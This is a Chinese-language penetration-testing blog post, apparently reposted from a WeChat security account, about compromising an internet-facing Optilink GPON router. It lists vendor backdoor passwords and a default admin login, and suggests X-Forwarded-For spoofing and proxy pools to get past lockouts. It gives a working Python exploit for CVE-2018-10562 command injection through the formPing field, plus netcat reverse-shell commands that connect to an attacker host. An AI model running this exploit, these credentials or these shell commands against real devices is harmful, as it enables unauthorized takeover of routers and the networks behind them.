渗透测试之简单操作

  • A+
所属分类:安全闲碎

渗透测试之简单操作

前言

渗透测试之简单操作


渗透测试一直是个看重经验的工作,有经验的一眼就能联想到很多漏洞,一顿操作,拿下服务器。没有经验的弟弟望着屏幕发呆,只能一步一步去积累,为以后的知识沉淀夯实基础。

这次就遇到了一个目标,差点只能盯着屏幕发呆了。

在某次渗透任务中,发现了一台对外开放的路由器。


他的Web界面长这样:


渗透测试之简单操作


看到登陆框,弱口令,注入,命令执行,。。。一大堆可能存在的漏洞铺面而来。

这里老规矩,流量代理被动扫描一直开着的,当然并没有什么实质性的进展,所以只能手工了。

因为目标并不在云CDN,也没有Waf,更没有硬件防火墙。

所以像找真实IP,绕Waf这种麻烦的事情统统不要做。


渗透测试之简单操作

开始

渗透测试之简单操作


1.查历史漏洞


后门账号

先去谷歌搜索关键字,“Optilink 漏洞


渗透测试之简单操作


该文中叙述了,开发者为该类型设备留了开发者账号后门。


login: suma123password: panger123
login: debugpassword: debug124
login: rootpassword: root126
login: guestpassword: [empty]


命令执行


渗透测试之简单操作


可惜的是,该漏洞是后台管理界面的,前提是进入后台。


2.尝试弱口令


经过尝试,都未能成功登陆。


渗透测试之简单操作


且发现失败三次,界面就锁定1分钟。幸好不是ban咱们的ip,不然我的代理池可能不够用了。


一般ip被ban有几种解决方案:

  • 家庭动态网络,重启路由器

  • 手机热点网络,重启手机网络

  • X-Forwarded-For伪造

  • 更换代理,挂代理池

  • 还有就是类似于白名单,比如阿里云的服务器攻击阿里云的服务器就不会被Ban


进入后台


当然了,上天总是眷顾帅气的人,随便试了一下,弱口令Get!

基本操作,发现登陆界面输入账号密码后有两种回显。


当用户名不存在时:

渗透测试之简单操作


当用户名存在时:

渗透测试之简单操作


输入用户: admin  密码 : optilink

成功登陆后台

渗透测试之简单操作


执行命令


与此同时,我们发现这就是CVE-2018-10562漏洞利用(gpon router),找来了一份exp


def execute_command(command,TARGET):  url = TARGET+"/boaform/admin/formLogin"  # 创建session  request1 = requests.session()  login = {"username":"e8c","psd":"e8c"}  # 发送登录数据  r = request1.post(url, headers=header(login), data=login, verify=False,timeout=10)  url1 = TARGET+"/boaform/admin/formPing"  print('----------------',url1)  # 发送远程命令的执行  command = "busybox"  print(command)  post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154"  r1 = request1.post(url1,data=post_data, verify=False,timeout=10)  print(r1.text.split("<pre>")[1].split("</pre>")[0])  if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]:    print('200')    status = 200    return status  else:    print(r1.status_code)    return r1.status_code


渗透测试之简单操作


简单的修改了一下脚本利用。


import requests
def execute_command(command,TARGET): url = TARGET+"/boaform/admin/formLogin" # 创建session request1 = requests.session() login = {"username":"admin","psd":"optilink"} # 发送登录数据 r = request1.post(url, data=login, verify=False,timeout=10) url1 = TARGET+"/boaform/admin/formPing" print('----------------',url1) # 发送远程命令的执行 # command = "busybox" # print(command) post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154" r1 = request1.post(url1,data=post_data, verify=False,timeout=10) print(r1.text.split("<pre>")[1].split("</pre>")[0]) if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]: print('200') status = 200 return status else: print(r1.status_code) return r1.status_codeif __name__ == "__main__": execute_command('netcat -e /bin/sh xx.xx.xx.xx 1111','http://xx.xx.xx.xx')


经过尝试,脚本确实能利用,但是却不能反弹shell。而且因为网络原因,一直报超时。


渗透测试之简单操作


成功的截图:


渗透测试之简单操作


深入尝试


我们在python脚本中加上proxy参数,每个请求带上代理,将攻击流量转发到burpsuite进行分析。


import requests
proxy={'http': '127.0.0.1:8080'}def execute_command(command,TARGET): url = TARGET+"/boaform/admin/formLogin" # 创建session request1 = requests.session() login = {"username":"admin","psd":"optilink"} # 发送登录数据 r = request1.post(url, data=login, verify=False,timeout=10,proxies=proxy) url1 = TARGET+"/boaform/admin/formPing" print('----------------',url1) # 发送远程命令的执行 # command = "busybox" # print(command) post_data = "target_addr=;"+command+"&waninf=1_INTERNET_R_VID_154" r1 = request1.post(url1,data=post_data, verify=False,timeout=10,proxies=proxy) print(r1.text.split("<pre>")[1].split("</pre>")[0]) if 'bin' in r1.text.split("<pre>")[1].split("</pre>")[0] and 'var' in r1.text.split("<pre>")[1].split("</pre>")[0]: print('200') status = 200 return status else: print(r1.status_code) return r1.status_codeif __name__ == "__main__": execute_command('netcat -e /bin/sh xx.xx.xx.xx 1111','http://xx.xx.xx.xx')


经过查看,发现有3条请求。


渗透测试之简单操作


  • (请求1)用户名密码登陆

  • (请求2)命令注入

  • (请求3)读取回显命令


因为网络问题,且数据包请求回显的格式,用burp并不是那么舒服,这里我用Charles进行分析。


渗透测试之简单操作

Charles抓包

渗透测试之简单操作



设置代理端口8888:


渗透测试之简单操作


浏览器设置同样的端口:


渗透测试之简单操作


跟burpsuite一样都是需要安装证书的,这里就不赘述了。

在后台发现,有2处可以触发命令注入,分别为红框标记处。


渗透测试之简单操作


点击钢笔按钮,修改请求


渗透测试之简单操作


修改完成后,点击执行。

这里可以看到左边请求一直自动在刷新,浏览器也成功回显了结果。


渗透测试之简单操作


这里Charles在表单修改后发包,会在请求包自动的加上url编码。


渗透测试之简单操作


渗透测试之简单操作


linux服务器可以连接。


渗透测试之简单操作


但加上-e参数后却无法反弹shell。

在自己服务器开启两个NC进行监听端,其中一个作为输入,一个作为输出。


渗透测试之简单操作


目标服务器执行:


nc xx.xx.xx.xx 1111 | /bin/bash | nc xx.xx.xx.xx 2222

事了拂衣去,深藏身与名。


声明


本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!


谢谢关注↓↓↓

渗透测试之简单操作

V安全资讯-为网络安全保驾护航

本文始发于微信公众号(V安全资讯):渗透测试之简单操作

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: